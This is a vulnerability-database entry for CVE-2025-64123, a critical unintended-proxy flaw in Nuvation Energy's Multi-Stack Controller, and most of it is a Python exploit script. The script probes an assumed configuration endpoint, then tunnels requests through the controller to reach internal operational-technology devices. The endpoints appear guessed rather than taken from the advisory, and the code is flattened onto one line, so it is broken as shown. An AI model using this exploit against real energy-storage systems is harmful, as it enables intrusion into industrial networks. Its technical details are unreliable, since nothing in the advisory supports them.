Security Vulnerability Report
中文
CVE-2025-64123 CVSS 9.8 CRITICAL

CVE-2025-64123

Published: 2026-01-02 22:15:45
Last Modified: 2026-02-26 19:59:40

Description

Unintended Proxy or Intermediary vulnerability in Nuvation Energy Multi-Stack Controller (MSC) allows Network Boundary Bridging.This issue affects Multi-Stack Controller (MSC): through and including release 2.5.1.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:nuvationenergy:nplatform:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:nuvationenergy:nuvmsc3-04s-c:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:nuvationenergy:nuvmsc3-08s-c:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:nuvationenergy:nuvmsc3-12s-c:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:nuvationenergy:nuvmsc3-16s-c:-:*:*:*:*:*:*:* - NOT VULNERABLE
Nuvation Energy Multi-Stack Controller (MSC) release 2.5.1及之前所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-64123 Nuvation Energy MSC Proxy Vulnerability PoC # This PoC demonstrates network boundary bridging via MSC proxy misconfiguration # Note: For authorized security testing only import socket import requests TARGET_IP = "<target_msc_ip>" TARGET_PORT = 8080 INTERNAL_TARGET = "<internal_ot_device_ip>" def check_msc_proxy_enabled(): """Check if MSC has unintended proxy functionality enabled""" try: # Check MSC network configuration response = requests.get( f"http://{TARGET_IP}:{TARGET_PORT}/api/network/config", timeout=10, allow_redirects=False ) if response.status_code == 200: config = response.json() if config.get('proxy_enabled') and config.get('proxy_allow_external'): return True except Exception as e: print(f"Error checking configuration: {e}") return False def exploit_boundary_bridging(): """Exploit the proxy vulnerability to access internal OT network""" try: # Craft request to internal target through MSC proxy proxies = { 'http': f'http://{TARGET_IP}:{TARGET_PORT}', 'https': f'http://{TARGET_IP}:{TARGET_PORT}' } response = requests.get( f"http://{INTERNAL_TARGET}/api/status", proxies=proxies, timeout=10 ) if response.status_code == 200: print("[+] Successfully bridged network boundary!") print(f"[+] Internal device response: {response.text}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except Exception as e: print(f"[-] Exploitation failed: {e}") return False if __name__ == "__main__": print("CVE-2025-64123 PoC - Nuvation Energy MSC Proxy Vulnerability") print("=" * 60) if check_msc_proxy_enabled(): print("[!] MSC proxy misconfiguration detected!") exploit_boundary_bridging() else: print("[*] Target does not appear vulnerable")

References

Raw JSON Data

JSON
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